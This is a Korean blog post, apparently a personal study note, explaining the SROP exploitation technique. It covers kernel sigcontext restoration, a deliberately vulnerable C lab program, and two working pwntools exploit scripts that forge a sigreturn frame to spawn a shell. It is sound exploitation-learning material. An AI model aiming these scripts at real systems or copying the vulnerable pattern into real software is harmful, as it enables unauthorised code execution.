오늘은 SROP 공격 기법에 대해 공부해보려한다.
벌써 12월도 지나가고, 2024년이 다가온다. 내년에도 화이팅하자!🔥
SROP(Sigreturn-oriented programming)는 rt_sigreturn 시스템 콜을 사용하여 Exploit하는 기법이다.
💡 sigreturn 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode로 돌아올 때 Stack을 복원하기 위해 사용되는 함수이다.
sigreturn함수는 Stack을 복원하기 위해 restore_sigcontext함수를 호출하고 해당 함수는 COPY_SEG(), COPY() 함수 등을 이용하여 Stack에 저장된 값을 각 레지스터에 복사한다.
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
/* sigcontext 구조체 선언되어 있음. */
struct sigcontext sc;
/* Always make any pending restarted system calls return -EINTR */
current->restart_block.fn = do_no_restart_syscall;
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
return false;
#ifdef CONFIG_X86_32
set_user_gs(regs, sc.gs);
regs->fs = sc.fs;
regs->es = sc.es;
regs->ds = sc.ds;
#endif /* CONFIG_X86_32 */
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
#ifdef CONFIG_X86_64
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
#endif /* CONFIG_X86_64 */
/* Get CS/SS and force CPL3 */
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
/* disable syscall checks */
regs->orig_ax = -1;
#ifdef CONFIG_X86_64
/*
* Fix up SS if needed for the benefit of old DOSEMU and
* CRIU.
*/
if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
force_valid_ss(regs);
#endif
return fpu__restore_sig((void __user *)sc.fpstate,
IS_ENABLED(CONFIG_X86_32));
}
restore_sigcontext() 함수의 코드를 보면, sigcontext구조체에 존재하는 각 멤버 변수의 값을 삽입하는 것을 볼 수 있다. 따라서 각 레지스터에 어떤 값을 덮어씌우고자 한다면 sigcontext구조체에 대해 알아야한다.
먼저 32비트의 sigcontext 구조체부터 살펴보자.
struct sigcontext
{
unsigned short gs, gsh;
unsigned short fs, fsh;
unsigned short es, esh;
unsigned short ds, dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
다음으로는 64비트의 sigcontext 구조체이다.
/* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss;
__u16 __pad0;
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate;
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
실습에 사용할 코드는 아래와 같다. Lazenca에 있는 예제로 실습하려고 한다.(컴파일을 했는데 syscall 가젯이 없어서 임의로 추가해줬다... 그리고 gcc 컴파일 옵션도 조금 바꿔줬다...)
// gcc -fno-stack-protector -o srop srop.c -ldl -no-pie
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
int gadget(){
__asm("pop %rax");
__asm("syscall");
__asm("ret");
}
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 512);
}
void main(){
seteuid(getuid());
write(1,"Hello SROP\n",10);
vuln();
}
Code는 엄청 간단하다.
바이너리를 실행하면 printf함수의 주소를 출력하고 read함수를 통해 buf 변수에 512바이트를 입력받는다. buf변수는 50바이트로 Stack Buffer Overflow가 발생한다.
Exploit 시나리오는 아래와 같다.
라이브러리 베이스 주소 파악
: 출력된 printf 함수의 주소를 바탕으로 라이브러리의 베이스 주소를 파악
SROP
: SROP 기법을 사용하여 Shell 획득
우선 syscall gadget의 위치부터 파악하자.
objdump -d srop | grep syscall -B1
다음으로는 system 함수와 "/bin/sh"의 문자열의 주소를 찾아야한다. gdb를 통해 Offset을 찾아보자.
binsh의 오프셋은 0x1b3d88이다. 또한 printf 함수의 오프셋은 0x64e40이다.
바로 Exploit Payload를 작성하자🔥
from pwn import *
p = process('./srop')
context.clear(arch='amd64')
context.log_level = 'debug'
call_gadget = 0x40068b # pop rax; syscall;
syscall = 0x40068c # syscall
bss_addr = 0x601058 # BSS addr
binsh_offset = 0x1b3d88
system_offset = 0x4f420
p.recvuntil(b"address : ")
printf_addr = int(p.recvline()[2:-1], 16)
print("[*] printf address : ", hex(printf_addr))
libc_base = printf_addr - 0x64e40
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + system_offset
payload = b"A" * 0x40 + b"B" * 0x8
payload += p64(call_gadget)
payload += p64(15)
# ucontext
payload += p64(0x0) * 5
# Struct sigcontext
payload += p64(0x0) * 8 # r8, r9.. ~ r15
payload += p64(binsh_addr) # rdi
payload += p64(0x0) # rsi
payload += p64(0x0) # rbp
payload += p64(0x0) # rbx
payload += p64(0x0) # rdx
payload += p64(0x3b) # rax
payload += p64(0x0) # rcx
payload += p64(syscall) # rsp
payload += p64(syscall) # rip
payload += p64(0x0) #eflags
payload += p64(0x33) #cs
payload += p64(0x0) #gs
payload += p64(0x0) #fs
payload += p64(0x2b) #ss
p.sendline(payload)
p.interactive()
payload는 위와 같다! rax에 0x3b를 넣어 execve 함수를 호출한다.
💡 CS=0x33, SS=0x2b? SROP payload를 작성할 때 CS & SS 레지스터에 대한 값을 설정해야한다.
32bit OS에서는 CS : 0x73, SS : 0x7b.
64bit OS에서 실행되는 32bit 프로그램은 CS : 0x23, SS 0x2b가 사용된다고 한다.
64bit OS에서는 CS : 0x33, SS : 0x2b
Pwntools에서 제공하는 SROP Exploit을 도와주는 클래스
사용방법은 간단하다. 위의 Exploit Code를 SigreturnFrame을 사용하여 수정해보자.
참고로 Exploit을 수행하려는 환경의 arch를 선언해주어야한다.
from pwn import *
p = process('./srop')
context.clear(arch='amd64')
context.log_level = 'debug'
call_gadget = 0x40068b # pop rax; syscall;
syscall = 0x40068c # syscall
bss_addr = 0x601058 # BSS addr
binsh_offset = 0x1b3d88
system_offset = 0x4f420
pause()
p.recvuntil(b"address : ")
printf_addr = int(p.recvline()[2:-1], 16)
print("[*] printf address : ", hex(printf_addr))
libc_base = printf_addr - 0x64e40
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + system_offset
# Use SigreturnFrame
ex = b"A" * 0x40 + b"B" * 0x8
ex += p64(call_gadget)
ex += p64(15)
frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = binsh_addr
ex += bytes(frame)
p.sendline(ex)
p.interactive()
수동으로 작성할 때에는 CS, SS를 설정해줘야했지만 SigreturnFrame을 사용하면 따로 값을 넣어줄 필요가 없어 훨씬 간단해졌다.
끝 👋
※ 참고
👉 https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64
👉 https://learn.dreamhack.io/11#36